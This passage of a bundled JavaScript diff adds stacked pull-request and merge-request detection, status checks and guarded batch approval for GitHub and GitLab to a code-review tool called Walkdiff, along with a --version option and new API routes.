+ source: StackSource.Host,
9297
+ trunk: bottom.baseRef,
9298
+ members,
9299
+ leftOut: []
9300
+ };
9301
+ }
9302
+ /** The members of a host's stack Walkdiff takes: all of them, or the limit's worth centred on `index`. Empty when `index` is -1. */
9303
+ function keptAround(ordered, index) {
9304
+ if (index === -1) return [];
9305
+ const first = Math.max(0, Math.min(index - Math.floor(10), ordered.length - 20));
9306
+ return ordered.slice(first, first + 20);
9307
+ }
9308
+ /**
9309
+ * Puts members in stack order, bottom first, by following each one's head to the member based
9310
+ * on it. Undefined when they don't form a single chain. Used where a host's own order isn't
9311
+ * reliable: GitLab documents its stack as top first and without the MR itself, and gitlab.com
9312
+ * answered bottom first and with it.
9313
+ */
9314
+ function inStackOrder(members) {
9315
+ const distinct = [...new Map(members.map((member) => [member.number, member])).values()];
9316
+ const heads = new Set(distinct.map((member) => member.headRef));
9317
+ const [bottom, ...otherBottoms] = distinct.filter((member) => !heads.has(member.baseRef));
9318
+ if (bottom === void 0 || otherBottoms.length > 0) return void 0;
9319
+ const ordered = [bottom];
9320
+ for (let top = bottom; ordered.length < distinct.length;) {
9321
+ const [next, ...others] = distinct.filter((member) => member.baseRef === top.headRef);
9322
+ if (next === void 0 || others.length > 0 || ordered.includes(next)) return void 0;
9323
+ ordered.push(next);
9324
+ top = next;
9325
+ }
9326
+ return ordered;
9327
+ }
8468
9328
  // packages/providers/src/github.ts
8469
9329
  const GITHUB_DOT_COM_ORIGIN$1 = "https://github.com";
8470
9330
  const GITHUB_DOT_COM_API = "https://api.github.com";
@@ -8486,6 +9346,43 @@ const pullSchema = z.object({
8486
9346
  base: branchTipSchema,
8487
9347
  head: branchTipSchema
8488
9348
  });
9349
+ const pullStatusSchema = z.object({
9350
+ state: z.string(),
9351
+ merged_at: z.string().nullable(),
9352
+ base: z.object({ ref: z.string() }),
9353
+ head: z.object({ sha: commitShaSchema })
9354
+ });
9355
+ const repositorySchema = z.object({ full_name: z.string() });
9356
+ /** A PR as lists give it, with what stack detection needs. */
9357
+ const listedPullSchema = z.object({
9358
+ number: z.number().int().positive(),
9359
+ title: z.string(),
9360
+ user: z.object({ login: z.string() }).nullable(),
9361
+ base: z.object({
9362
+ ref: z.string(),
9363
+ repo: repositorySchema
9364
+ }),
9365
+ head: z.object({
9366
+ ref: z.string(),
9367
+ repo: repositorySchema.nullable()
9368
+ })
9369
+ });
9370
+ const stackedPullSchema = listedPullSchema.extend({
9371
+ base: z.object({
9372
+ ref: z.string(),
9373
+ repo: repositorySchema.extend({ default_branch: z.string() })
9374
+ }),
9375
+ stack: z.object({ number: z.number().int().positive() }).nullish()
9376
+ });
9377
+ const stackSchema = z.object({
9378
+ /** Bottom first, merged and closed ones included. */
9379
+ pull_requests: z.array(z.object({
9380
+ number: z.number().int().positive(),
9381
+ state: z.string(),
9382
+ merged_at: z.string().nullable()
9383
+ })) });
9384
+ const OPEN_STATE$1 = "open";
9385
+ const PULLS_PER_PAGE = 100;
8489
9386
  const issueCommentSchema = z.object({
8490
9387
  id: z.number().int(),
8491
9388
  body: z.string().nullable()
@@ -8586,6 +9483,14 @@ var GitHubHost = class {
8586
9483
  gitAuth: this.#gitAuth()
8587
9484
  };
8588
9485
  }
9486
+ async fetchStatus() {
9487
+ const pull = await this.#get(`${this.#repoApi()}/pulls/${this.#ref.number}`, pullStatusSchema);
9488
+ return {
9489
+ state: githubState(pull),
9490
+ headSha: pull.head.sha,
9491
+ baseRef: pull.base.ref
9492
+ };
9493
+ }
8589
9494
  upsertComment(comment) {
8590
9495
  const repoApi = this.#repoApi();
8591
9496
  const commentsUrl = `${repoApi}/issues/${this.#ref.number}/comments`;
@@ -8666,6 +9571,31 @@ var GitHubHost = class {
8666
9571
  zip
8667
9572
  }]);
8668
9573
  }
9574
+ /**
9575
+ * A stack made with GitHub's own stacks comes from the host. Many teams stack with other tools,
9576
+ * so a PR outside one is still checked by following branches.
9577
+ */
9578
+ async fetchStack() {
9579
+ const repoApi = this.#repoApi();
9580
+ const pull = await this.#get(`${repoApi}/pulls/${this.#ref.number}`, stackedPullSchema);
9581
+ if (pull.stack != null) return this.#hostStack(repoApi, pull.stack.number);
9582
+ return walkStack({
9583
+ pullRequest: stackCandidate$1(pull),
9584
+ defaultBranch: pull.base.repo.default_branch
9585
+ }, this.#openPullRequests(repoApi));
9586
+ }
9587
+ async #hostStack(repoApi, stackNumber) {
9588
+ const open = (await this.#get(`${repoApi}/stacks/${stackNumber}`, stackSchema)).pull_requests.filter((pull) => pull.state === OPEN_STATE$1 && pull.merged_at === null).map((pull) => pull.number);
9589
+ const kept = keptAround(open, open.indexOf(this.#ref.number));
9590
+ return stackFromHost((await Promise.all(kept.map((number) => this.#get(`${repoApi}/pulls/${number}`, listedPullSchema)))).map((pull) => stackCandidate$1(pull).member), this.#ref.number);
9591
+ }
9592
+ #openPullRequests(repoApi) {
9593
+ const list = async (filter) => (await this.#get(`${repoApi}/pulls?state=${OPEN_STATE$1}&per_page=${PULLS_PER_PAGE}&${filter}`, z.array(listedPullSchema))).map(stackCandidate$1);
9594
+ return {
9595
+ withHead: (branch) => list(`head=${encodeURIComponent(`${this.#ref.owner}:${branch}`)}`),
9596
+ withBase: (branch) => list(`base=${encodeURIComponent(branch)}`)
9597
+ };
9598
+ }
8669
9599
  async #graphql(query, variables, schema) {
8670
9600
  const url = graphqlUrl(this.#ref.webOrigin);
8671
9601
  const response = await writeJson({
@@ -8679,7 +9609,7 @@ var GitHubHost = class {
8679
9609
  schema: graphqlResponseSchema,
8680
9610
  authHint: this.#authHint
8681
9611
  });
8682
- if (response.errors !== void 0 && response.errors.length > 0) throw new HostApiError(GRAPHQL_FAILURE_STATUS, url, response.errors.map((error) => error.message).join("; "));
9612
+ if (response.errors !== void 0 && response.errors.length > 0) throw new HostApiError(GRAPHQL_FAILURE_STATUS$1, url, response.errors.map((error) => error.message).join("; "));
8683
9613
  return schema.parse(response.data);
8684
9614
  }
8685
9615
  #repoApi() {
@@ -8727,12 +9657,29 @@ const graphqlResponseSchema = z.object({
8727
9657
  data: z.unknown().optional(),
8728
9658
  errors: z.array(z.object({ message: z.string() })).optional()
8729
9659
  });
8730
- const GRAPHQL_FAILURE_STATUS = 502;
9660
+ const GRAPHQL_FAILURE_STATUS$1 = 502;
8731
9661
  /** GitHub only accepts comments on lines, so anything without one joins the review's own text. */
8732
9662
  function withUnplacedComments$1(review) {
8733
9663
  const unplaced = review.comments.filter((comment) => !isPlacedComment(comment)).map((comment) => `**\`${comment.label}\`** in \`${comment.path}\`\n\n${comment.body}`);
8734
9664
  return [review.body, ...unplaced].filter((part) => part !== "").join("\n\n---\n\n");
8735
9665
  }
9666
+ /** GitHub calls a merged PR closed, telling them apart only by `merged_at`. */
9667
+ function githubState(pull) {
9668
+ if (pull.merged_at !== null) return PullRequestState.Merged;
9669
+ return pull.state === OPEN_STATE$1 ? PullRequestState.Open : PullRequestState.Closed;
9670
+ }
9671
+ function stackCandidate$1(pull) {
9672
+ return {
9673
+ member: {
9674
+ number: pull.number,
9675
+ title: pull.title,
9676
+ author: pull.user?.login ?? DELETED_USER_LOGIN,
9677
+ headRef: pull.head.ref,
9678
+ baseRef: pull.base.ref
9679
+ },
9680
+ headInRepository: pull.head.repo?.full_name.toLowerCase() === pull.base.repo.full_name.toLowerCase()
9681
+ };
9682
+ }
8736
9683
  function graphqlUrl(webOrigin) {
8737
9684
  return webOrigin === GITHUB_DOT_COM_ORIGIN$1 ? `${GITHUB_DOT_COM_API}/graphql` : `${webOrigin}/api/graphql`;
8738
9685
  }
@@ -8764,6 +9711,7 @@ function githubReviewComment(comment) {
8764
9711
  }
8765
9712
  // packages/providers/src/gitlab.ts
8766
9713
  const GITLAB_GIT_USERNAME = "oauth2";
9714
+ const APPROVAL_REFUSED_STATUS = 401;
8767
9715
  const AUTH_HINT = "Set GITLAB_TOKEN to a token with the read_api and read_repository scopes; posting comments needs the api scope.";
8768
9716
  const mergeRequestSchema = z.object({
8769
9717
  web_url: z.url(),
@@ -8779,6 +9727,49 @@ const mergeRequestSchema = z.object({
8779
9727
  start_sha: commitShaSchema
8780
9728
  }).nullable()
8781
9729
  });
9730
+ const mergeRequestStatusSchema = z.object({
9731
+ state: z.string(),
9732
+ target_branch: z.string(),
9733
+ sha: commitShaSchema,
9734
+ diff_refs: z.object({ head_sha: commitShaSchema }).nullable()
9735
+ });
9736
+ const MERGED_STATE = "merged";
9737
+ const CLOSED_STATE = "closed";
9738
+ /** A merge request as lists give it, with what stack detection needs. */
9739
+ const listedMergeRequestSchema = z.object({
9740
+ iid: z.number().int().positive(),
9741
+ title: z.string(),
9742
+ author: z.object({ username: z.string() }),
9743
+ source_branch: z.string(),
9744
+ target_branch: z.string(),
9745
+ source_project_id: z.number().int(),
9746
+ target_project_id: z.number().int()
9747
+ });
9748
+ const projectSchema = z.object({ default_branch: z.string() });
9749
+ const OPEN_STATE = "opened";
9750
+ const MERGE_REQUESTS_PER_PAGE = 100;
9751
+ const STACK_MEMBER_FIELDS = "iid title author { username } sourceBranch targetBranch";
9752
+ const STACK_QUERY = `query($project: ID!, $iid: String!) {
9753
+ project(fullPath: $project) { mergeRequest(iid: $iid) { ${STACK_MEMBER_FIELDS} stack { ${STACK_MEMBER_FIELDS} } } }
9754
+ }`;
9755
+ const stackMemberSchema = z.object({
9756
+ iid: z.coerce.number().int().positive(),
9757
+ title: z.string(),
9758
+ author: z.object({ username: z.string() }),
9759
+ sourceBranch: z.string(),
9760
+ targetBranch: z.string()
9761
+ });
9762
+ const stackResponseSchema = z.object({
9763
+ data: z.object({ project: z.object({ mergeRequest: stackMemberSchema.extend({ stack: z.array(stackMemberSchema).nullable() }).nullable() }).nullable() }).nullish(),
9764
+ errors: z.array(z.object({
9765
+ message: z.string(),
9766
+ extensions: z.object({ code: z.string().optional() }).optional()
9767
+ })).optional()
9768
+ });
9769
+ const UNDEFINED_FIELD_ERROR = "undefinedField";
9770
+ const GRAPHQL_FAILURE_STATUS = 502;
9771
+ const NOT_FOUND_STATUS = 404;
9772
+ const UNUSABLE = { usable: false };
8782
9773
  const noteSchema = z.object({
8783
9774
  id: z.number().int(),
8784
9775
  body: z.string().nullable()
@@ -8805,6 +9796,8 @@ const discussionSchema = z.object({
8805
9796
  }))
8806
9797
  });
8807
9798
  const approvalsSchema = z.object({ approved_by: z.array(z.object({ user: userSchema })) });
9799
+ /** Only `user_has_approved`: on GitLab Free, `user_can_approve` reads false for merge requests the user can approve. */
9800
+ const ownApprovalSchema = z.object({ user_has_approved: z.boolean() });
8808
9801
  const reviewersSchema = z.array(z.object({
8809
9802
  user: userSchema,
8810
9803
  state: z.string().nullable().optional()
@@ -8877,6 +9870,14 @@ var GitLabHost = class {
8877
9870
  gitAuth: this.#gitAuth()
8878
9871
  };
8879
9872
  }
9873
+ async fetchStatus() {
9874
+ const mergeRequest = await this.#get(this.#mergeRequestApi(), mergeRequestStatusSchema);
9875
+ return {
9876
+ state: gitlabState(mergeRequest.state),
9877
+ headSha: mergeRequest.diff_refs?.head_sha ?? mergeRequest.sha,
9878
+ baseRef: mergeRequest.target_branch
9879
+ };
9880
+ }
8880
9881
  upsertComment(comment) {
8881
9882
  const notesUrl = `${this.#mergeRequestApi()}/notes`;
8882
9883
  return upsertMarkedComment({
@@ -8942,9 +9943,25 @@ var GitLabHost = class {
8942
9943
  if (text !== "") await this.#write("POST", `${api}/draft_notes`, { note: text });
8943
9944
  const reviewerState = REVIEWER_PUBLISH_STATES[review.event];
8944
9945
  await this.#write("POST", `${api}/draft_notes/bulk_publish`, reviewerState === void 0 ? {} : { reviewer_state: reviewerState });
8945
- if (review.event === ReviewEvent.Approve) await this.#write("POST", `${api}/approve`, { sha: review.headSha });
9946
+ if (review.event === ReviewEvent.Approve) await this.#approve(api, review.headSha);
8946
9947
  return { url: mergeRequest.web_url };
8947
9948
  }
9949
+ /**
9950
+ * GitLab answers 401 to any approval it won't take, which reads as a token problem. By now the
9951
+ * token has posted the comments, so a 401 is GitLab refusing the approval itself. One case is
9952
+ * avoided: a second approval from the same user, since the first still stands and a retried
9953
+ * stack approval asks again.
9954
+ */
9955
+ async #approve(api, headSha) {
9956
+ const { user_has_approved: approved } = await this.#get(`${api}/approvals`, ownApprovalSchema);
9957
+ if (approved) return;
9958
+ try {
9959
+ await this.#write("POST", `${api}/approve`, { sha: headSha });
9960
+ } catch (error) {
9961
+ if (!(error instanceof HostApiError) || error.status !== APPROVAL_REFUSED_STATUS) throw error;
9962
+ throw new HostApiError(error.status, error.url, "GitLab didn't take the approval. The project may not let you approve this merge request, for example as its author or as someone who added commits to it.");
9963
+ }
9964
+ }
8948
9965
  async replyToThread(threadId, body) {
8949
9966
  await this.#write("POST", `${this.#mergeRequestApi()}/discussions/${encodeURIComponent(threadId)}/notes`, { body });
8950
9967
  }
@@ -8970,26 +9987,74 @@ var GitLabHost = class {
8970
9987
  }))
8971
9988
  };
8972
9989
  }
8973
- #get(url, schema) {
8974
- return getJson({
9990
+ /**
9991
+ * GitLab's own stacks are found from branches, as Walkdiff would, but only between merge requests
9992
+ * by the same author, so its answer wins where there is one. Instances older than 19.1 have none.
9993
+ */
9994
+ async fetchStack() {
9995
+ const answer = await this.#hostStack();
9996
+ return answer.usable ? answer.stack : this.#walkStack();
9997
+ }
9998
+ async #hostStack() {
9999
+ const url = `${this.#ref.webOrigin}/api/graphql`;
10000
+ const response = await writeJson({
10001
+ method: "POST",
8975
10002
  url,
10003
+ body: {
10004
+ query: STACK_QUERY,
10005
+ variables: {
10006
+ project: this.#ref.projectPath,
10007
+ iid: String(this.#ref.number)
10008
+ }
10009
+ },
8976
10010
  headers: this.#headers(),
8977
- schema,
10011
+ schema: stackResponseSchema,
8978
10012
  authHint: this.#authHint
8979
10013
  });
10014
+ const errors = response.errors ?? [];
10015
+ if (errors.some((error) => error.extensions?.code === UNDEFINED_FIELD_ERROR)) return UNUSABLE;
10016
+ if (errors.length > 0) throw new HostApiError(GRAPHQL_FAILURE_STATUS, url, errors.map((error) => error.message).join("; "));
10017
+ const mergeRequest = response.data?.project?.mergeRequest;
10018
+ if (mergeRequest == null) throw new HostApiError(NOT_FOUND_STATUS, url, this.#authHint);
10019
+ if (mergeRequest.stack === null) return UNUSABLE;
10020
+ if (mergeRequest.stack.length === 0) return {
10021
+ usable: true,
10022
+ stack: void 0
10023
+ };
10024
+ const ordered = inStackOrder([mergeRequest, ...mergeRequest.stack].map(fromGraphql));
10025
+ return ordered === void 0 ? UNUSABLE : {
10026
+ usable: true,
10027
+ stack: stackFromHost(ordered, this.#ref.number)
10028
+ };
8980
10029
  }
8981
- async fetchCoverageArchives(headSha) {
8982
- const { webOrigin, projectPath } = this.#ref;
8983
- const projectApi = `${webOrigin}/api/v4/projects/${encodeURIComponent(projectPath)}`;
8984
- const read = (url, schema) => getJson({
10030
+ async #walkStack() {
10031
+ const projectApi = this.#projectApi();
10032
+ const [mergeRequest, project] = await Promise.all([this.#get(this.#mergeRequestApi(), listedMergeRequestSchema), this.#get(projectApi, projectSchema)]);
10033
+ return walkStack({
10034
+ pullRequest: stackCandidate(mergeRequest),
10035
+ defaultBranch: project.default_branch
10036
+ }, this.#openMergeRequests(projectApi));
10037
+ }
10038
+ #openMergeRequests(projectApi) {
10039
+ const list = async (filter) => (await this.#get(`${projectApi}/merge_requests?state=${OPEN_STATE}&per_page=${MERGE_REQUESTS_PER_PAGE}&${filter}`, z.array(listedMergeRequestSchema))).map(stackCandidate);
10040
+ return {
10041
+ withHead: (branch) => list(`source_branch=${encodeURIComponent(branch)}`),
10042
+ withBase: (branch) => list(`target_branch=${encodeURIComponent(branch)}`)
10043
+ };
10044
+ }
10045
+ #get(url, schema) {
10046
+ return getJson({
8985
10047
  url,
8986
10048
  headers: this.#headers(),
8987
10049
  schema,
8988
10050
  authHint: this.#authHint
8989
10051
  });
8990
- const [pipeline] = await read(`${projectApi}/pipelines?sha=${encodeURIComponent(headSha)}&per_page=1`, pipelinesSchema);
10052
+ }
10053
+ async fetchCoverageArchives(headSha) {
10054
+ const projectApi = this.#projectApi();
10055
+ const [pipeline] = await this.#get(`${projectApi}/pipelines?sha=${encodeURIComponent(headSha)}&per_page=1`, pipelinesSchema);
8991
10056
  if (pipeline === void 0) return [];
8992
- const jobs = await read(`${projectApi}/pipelines/${pipeline.id}/jobs?per_page=100`, pipelineJobsSchema);
10057
+ const jobs = await this.#get(`${projectApi}/pipelines/${pipeline.id}/jobs?per_page=100`, pipelineJobsSchema);
8993
10058
  const declared = jobs.filter(declaresCoverageReport);
8994
10059
  const named = jobs.filter((job) => !declaresCoverageReport(job) && COVERAGE_ARCHIVE_NAME.test(job.name));
8995
10060
  const wanted = [...declared, ...named].filter((job) => job.artifacts_file != null && job.artifacts_file.size <= 209715200).slice(0, 5);
@@ -9006,9 +10071,12 @@ var GitLabHost = class {
9006
10071
  zip
9007
10072
  }]);
9008
10073
  }
10074
+ #projectApi() {
10075
+ const { webOrigin, projectPath } = this.#ref;
10076
+ return `${webOrigin}/api/v4/projects/${encodeURIComponent(projectPath)}`;
10077
+ }
9009
10078
  #mergeRequestApi() {
9010
- const { webOrigin, projectPath, number } = this.#ref;
9011
- return `${webOrigin}/api/v4/projects/${encodeURIComponent(projectPath)}/merge_requests/${number}`;
10079
+ return `${this.#projectApi()}/merge_requests/${this.#ref.number}`;
9012
10080
  }
9013
10081
  async #write(method, url, body) {
9014
10082
  await writeIgnoringReply({
@@ -9029,6 +10097,32 @@ var GitLabHost = class {
9029
10097
  };
9030
10098
  }
9031
10099
  };
10100
+ /** GitLab's "locked" is an open merge request in the middle of being merged. */
10101
+ function gitlabState(state) {
10102
+ if (state === MERGED_STATE) return PullRequestState.Merged;
10103
+ return state === CLOSED_STATE ? PullRequestState.Closed : PullRequestState.Open;
10104
+ }
10105
+ function stackCandidate(mergeRequest) {
10106
+ return {
10107
+ member: {
10108
+ number: mergeRequest.iid,
10109
+ title: mergeRequest.title,
10110
+ author: mergeRequest.author.username,
10111
+ headRef: mergeRequest.source_branch,
10112
+ baseRef: mergeRequest.target_branch
10113
+ },
10114
+ headInRepository: mergeRequest.source_project_id === mergeRequest.target_project_id
10115
+ };
10116
+ }
10117
+ function fromGraphql(mergeRequest) {
10118
+ return {
10119
+ number: mergeRequest.iid,
10120
+ title: mergeRequest.title,
10121
+ author: mergeRequest.author.username,
10122
+ headRef: mergeRequest.sourceBranch,
10123
+ baseRef: mergeRequest.targetBranch
10124
+ };
10125
+ }
9032
10126
  /** Comments without a line, and the summary, go together as one note. */
9033
10127
  function withUnplacedComments(review) {
9034
10128
  const unplaced = review.comments.filter((comment) => !isPlacedComment(comment)).map((comment) => `**\`${comment.label}\`** in \`${comment.path}\`\n\n${comment.body}`);
@@ -9119,6 +10213,7 @@ Options:
9119
10213
  --report <dir> With comment: the directory review wrote (--out)
9120
10214
  --report-url <url> With comment: where reviewers can open the report
9121
10215
  -h, --help Show this help
10216
+ -v, --version Show which Walkdiff this is
9122
10217
 
9123
10218
  Environment:
9124
10219
  GITHUB_TOKEN, GH_TOKEN Token for GitHub (required for private repositories)
@@ -9172,10 +10267,16 @@ function parseCommand(argv) {
9172
10267
  type: "boolean",
9173
10268
  short: "h",
9174
10269
  default: false
10270
+ },
10271
+ version: {
10272
+ type: "boolean",
10273
+ short: "v",
10274
+ default: false
9175
10275
  }
9176
10276
  }
9177
10277
  });
9178
10278
  const [command, url, ...extra] = positionals;
10279
+ if (values.version) return { kind: "version" };
9179
10280
  if (values.help || command === void 0) return { kind: "help" };
9180
10281
  if (command === "setup") {
9181
10282
  if (url !== void 0) throw new UsageError(`Unexpected arguments: ${[url, ...extra].join(" ")}`);
@@ -9523,6 +10624,167 @@ async function attachCoverage(store, id, reports, write) {
9523
10624
  });
9524
10625
  return store.get(id);
9525
10626
  }
10627
+ // packages/cli/src/app/stackStatus.ts
10628
+ /**
10629
+ * A grouped stack with each member's state read from its host now, bottom first. One member's
10630
+ * host failing is shown on that member, so the rest of the stack still reads. Undefined if there
10631
+ * is no such stack.
10632
+ */
10633
+ async function readStackView(store, stackId, hostFor) {
10634
+ const stack = store.stack(stackId);
10635
+ if (stack === void 0) return void 0;
10636
+ const members = await Promise.all(store.stackMembers(stackId).map((member) => memberStatus(member, hostFor)));
10637
+ return {
10638
+ id: stack.id,
10639
+ trunk: stack.trunk,
10640
+ members
10641
+ };
10642
+ }
10643
+ async function memberStatus(member, hostFor) {
10644
+ try {
10645
+ const host = await hostFor(parsePullRequestUrl(member.url));
10646
+ const [status, conversation] = await Promise.all([host.fetchStatus(), host.fetchConversation()]);
10647
+ return {
10648
+ check: MemberCheck.Checked,
10649
+ reviewId: member.id,
10650
+ status,
10651
+ reportChange: reportChange(member.reportHead, status),
10652
+ reviewers: conversation.reviewers
10653
+ };
10654
+ } catch (error) {
10655
+ if (!(error instanceof HostApiError)) throw error;
10656
+ return {
10657
+ check: MemberCheck.Failed,
10658
+ reviewId: member.id,
10659
+ error: error.message
10660
+ };
10661
+ }
10662
+ }
10663
+ /**
10664
+ * Why an open PR's report is out of date. A new base wins over new commits: rebasing onto the
10665
+ * new base usually brings both, and the base is what moves the whole diff.
10666
+ */
10667
+ function reportChange(analyzed, status) {
10668
+ if (status.state !== PullRequestState.Open) return ReportChange.None;
10669
+ if (analyzed === null) return ReportChange.NoReport;
10670
+ if (analyzed.baseRef !== status.baseRef) return ReportChange.Retargeted;
10671
+ return analyzed.headSha === status.headSha ? ReportChange.None : ReportChange.NewCommits;
10672
+ }
10673
+ // packages/cli/src/app/approveStack.ts
10674
+ const ApproveKind = {
10675
+ NoStack: "noStack",
10676
+ Blocked: "blocked",
10677
+ Ready: "ready",
10678
+ Done: "done"
10679
+ };
10680
+ /**
10681
+ * Approves the members asked for, bottom first, once `checkApproval` passes for all of them. Each
10682
+ * approval is posted on its own: a host refusing one doesn't stop the rest, since approvals already
10683
+ * posted can't safely be taken back, and each stands for its own PR.
10684
+ */
10685
+ async function approveStack(store, stackId, request, hostFor) {
10686
+ const check = await checkApproval(store, stackId, request, hostFor);
10687
+ if (check.kind !== ApproveKind.Ready) return check;
10688
+ const results = [];
10689
+ for (const checked of check.checked) results.push(await approve(checked, request.body));
10690
+ return {
10691
+ kind: ApproveKind.Done,
10692
+ results
10693
+ };
10694
+ }
10695
+ /**
10696
+ * Checks every member asked for with its host, without posting. Any one that has moved on from the
10697
+ * commit the reviewer saw blocks them all, so a stack is never left part-approved by surprise.
10698
+ */
10699
+ async function checkApproval(store, stackId, request, hostFor) {
10700
+ if (store.stack(stackId) === void 0) return { kind: ApproveKind.NoStack };
10701
+ const members = store.stackMembers(stackId);
10702
+ const inStack = new Set(members.map((member) => member.id));
10703
+ const strangers = request.members.filter(({ reviewId }) => !inStack.has(reviewId)).map(({ reviewId }) => ({
10704
+ reviewId,
10705
+ reason: "It isn't in this stack."
10706
+ }));
10707
+ if (strangers.length > 0) return {
10708
+ kind: ApproveKind.Blocked,
10709
+ blocked: strangers
10710
+ };
10711
+ const seen = new Map(request.members.map(({ reviewId, headSha }) => [reviewId, headSha]));
10712
+ const preflights = await Promise.all(members.flatMap((member) => {
10713
+ const seenHead = seen.get(member.id);
10714
+ return seenHead === void 0 ? [] : [preflight(member, seenHead, hostFor)];
10715
+ }));
10716
+ const blocked = preflights.flatMap((result) => result.passed ? [] : [result.blocked]);
10717
+ if (blocked.length > 0) return {
10718
+ kind: ApproveKind.Blocked,
10719
+ blocked
10720
+ };
10721
+ return {
10722
+ kind: ApproveKind.Ready,
10723
+ checked: preflights.flatMap((result) => result.passed ? [result.checked] : [])
10724
+ };
10725
+ }
10726
+ async function preflight(member, seenHead, hostFor) {
10727
+ const block = (reason) => ({
10728
+ passed: false,
10729
+ blocked: {
10730
+ reviewId: member.id,
10731
+ reason
10732
+ }
10733
+ });
10734
+ const analyzed = member.reportHead;
10735
+ if (analyzed === null) return block(NO_REPORT);
10736
+ try {
10737
+ const host = await hostFor(parsePullRequestUrl(member.url));
10738
+ const reason = blockReason(analyzed, await host.fetchStatus(), seenHead);
10739
+ return reason === void 0 ? {
10740
+ passed: true,
10741
+ checked: {
10742
+ member,
10743
+ host,
10744
+ analyzed
10745
+ }
10746
+ } : block(reason);
10747
+ } catch (error) {
10748
+ if (!(error instanceof HostApiError)) throw error;
10749
+ return block(`Walkdiff couldn't check it: ${error.message}`);
10750
+ }
10751
+ }
10752
+ const NO_REPORT = "It has no report yet.";
10753
+ /**
10754
+ * Why approving a member must wait. Its report must describe what the host has now, and be the
10755
+ * one the reviewer saw when they decided.
10756
+ */
10757
+ function blockReason(analyzed, status, seenHead) {
10758
+ if (status.state !== PullRequestState.Open) return `It's ${status.state}.`;
10759
+ switch (reportChange(analyzed, status)) {
10760
+ case ReportChange.NoReport: return NO_REPORT;
10761
+ case ReportChange.NewCommits: return "It has new commits. Refresh it and look again.";
10762
+ case ReportChange.Retargeted: return `It merges into ${status.baseRef} now, so its diff changed. Refresh it and look again.`;
10763
+ case ReportChange.None: return analyzed.headSha === seenHead ? void 0 : "Its report changed after you opened this. Look again.";
10764
+ }
10765
+ }
10766
+ async function approve({ member, host, analyzed }, body) {
10767
+ try {
10768
+ const { url } = await host.submitReview({
10769
+ event: ReviewEvent.Approve,
10770
+ body,
10771
+ headSha: analyzed.headSha,
10772
+ comments: []
10773
+ });
10774
+ return {
10775
+ outcome: ApprovalOutcome.Posted,
10776
+ reviewId: member.id,
10777
+ url
10778
+ };
10779
+ } catch (error) {
10780
+ if (!(error instanceof HostApiError)) throw error;
10781
+ return {
10782
+ outcome: ApprovalOutcome.Refused,
10783
+ reviewId: member.id,
10784
+ error: error.message
10785
+ };
10786
+ }
10787
+ }
9526
10788
  const API_KEY_META = "walkdiff-api-key";
9527
10789
  const HOME_META = "walkdiff-home";
9528
10790
  const REVIEW_ID_META = "walkdiff-review-id";
@@ -9640,6 +10902,28 @@ async function handleApi(request, response, pathname, context) {
9640
10902
  await attachCoverageReports(request, response, Number(coverage[1]), context);
9641
10903
  return;
9642
10904
  }
10905
+ const reviewStack = /^\/api\/reviews\/(\d+)\/stack$/.exec(pathname);
10906
+ if (reviewStack !== null) {
10907
+ await handleStackOffer(request, response, Number(reviewStack[1]), context);
10908
+ return;
10909
+ }
10910
+ const stack = /^\/api\/stacks\/(\d+)$/.exec(pathname);
10911
+ if (stack !== null && (method === "GET" || method === "DELETE")) {
10912
+ await handleStack(response, method, Number(stack[1]), context);
10913
+ return;
10914
+ }
10915
+ const stackApprove = /^\/api\/stacks\/(\d+)\/approve(\/check)?$/.exec(pathname);
10916
+ if (stackApprove !== null && method === "POST") {
10917
+ const stackId = Number(stackApprove[1]);
10918
+ const run = stackApprove[2] === void 0 ? approveStack : checkApproval;
10919
+ await answerApproval(request, response, (approval) => run(context.store, stackId, approval, context.hostFor));
10920
+ return;
10921
+ }
10922
+ const stackRefresh = /^\/api\/stacks\/(\d+)\/refresh$/.exec(pathname);
10923
+ if (stackRefresh !== null && method === "POST") {
10924
+ await refreshStack(response, Number(stackRefresh[1]), context);
10925
+ return;
10926
+ }
9643
10927
  const action = /^\/api\/reviews\/(\d+)\/(conversation|submit)$/.exec(pathname);
9644
10928
  if (action !== null) {
9645
10929
  await handleReviewAction(request, response, Number(action[1]), action[2] ?? "", context);
@@ -9658,12 +10942,86 @@ async function handleApi(request, response, pathname, context) {
9658
10942
  return;
9659
10943
  }
9660
10944
  if (match !== null && method === "DELETE" && match[2] === void 0) {
9661
- context.store.remove(id);
10945
+ context.service.remove(id);
9662
10946
  sendJson(response, 200, {});
9663
10947
  return;
9664
10948
  }
9665
10949
  sendJson(response, 404, { error: "Not found" });
9666
10950
  }
10951
+ /** POST accepts the stack found from a review, DELETE turns it down for now. */
10952
+ async function handleStackOffer(request, response, id, context) {
10953
+ if (request.method === "DELETE") {
10954
+ const review = context.service.dismissStackOffer(id);
10955
+ sendJson(response, review === void 0 ? 404 : 200, review ?? { error: "No such review" });
10956
+ return;
10957
+ }
10958
+ if (request.method !== "POST") {
10959
+ sendJson(response, 404, { error: "Not found" });
10960
+ return;
10961
+ }
10962
+ const parsed = acceptStackRequestSchema.safeParse(await readJsonBody(request));
10963
+ if (!parsed.success) {
10964
+ sendJson(response, 400, { error: "Expected whether to include AI review" });
10965
+ return;
10966
+ }
10967
+ const review = context.service.acceptStack(id, parsed.data);
10968
+ sendJson(response, review === void 0 ? 404 : 202, review ?? { error: "No such review" });
10969
+ }
10970
+ /** GET reads a stack's state from the host; DELETE ungroups it, keeping the reviews. */
10971
+ async function handleStack(response, method, id, context) {
10972
+ if (method === "DELETE") {
10973
+ sendJson(response, context.service.ungroup(id) ? 200 : 404, {});
10974
+ return;
10975
+ }
10976
+ const view = await readStackView(context.store, id, context.hostFor);
10977
+ sendJson(response, view === void 0 ? 404 : 200, view ?? { error: "No such stack" });
10978
+ }
10979
+ /** Reads the stack's state from the host, and re-runs the members it shows are out of date. */
10980
+ async function refreshStack(response, id, context) {
10981
+ const view = await readStackView(context.store, id, context.hostFor);
10982
+ if (view === void 0) {
10983
+ sendJson(response, 404, { error: "No such stack" });
10984
+ return;
10985
+ }
10986
+ refreshChanged(view, context);
10987
+ sendJson(response, 202, view);
10988
+ }
10989
+ /**
10990
+ * Answers an approval of stack members: posting them (`/approve`), or only checking that every one
10991
+ * is still what the reviewer saw (`/approve/check`), so the page can then post them one at a time
10992
+ * and show each result as it comes.
10993
+ */
10994
+ async function answerApproval(request, response, run) {
10995
+ const parsed = approveStackRequestSchema.safeParse(await readJsonBody(request));
10996
+ if (!parsed.success) {
10997
+ sendJson(response, 400, { error: parsed.error.issues.at(0)?.message ?? "This approval isn't valid" });
10998
+ return;
10999
+ }
11000
+ const result = await run(parsed.data);
11001
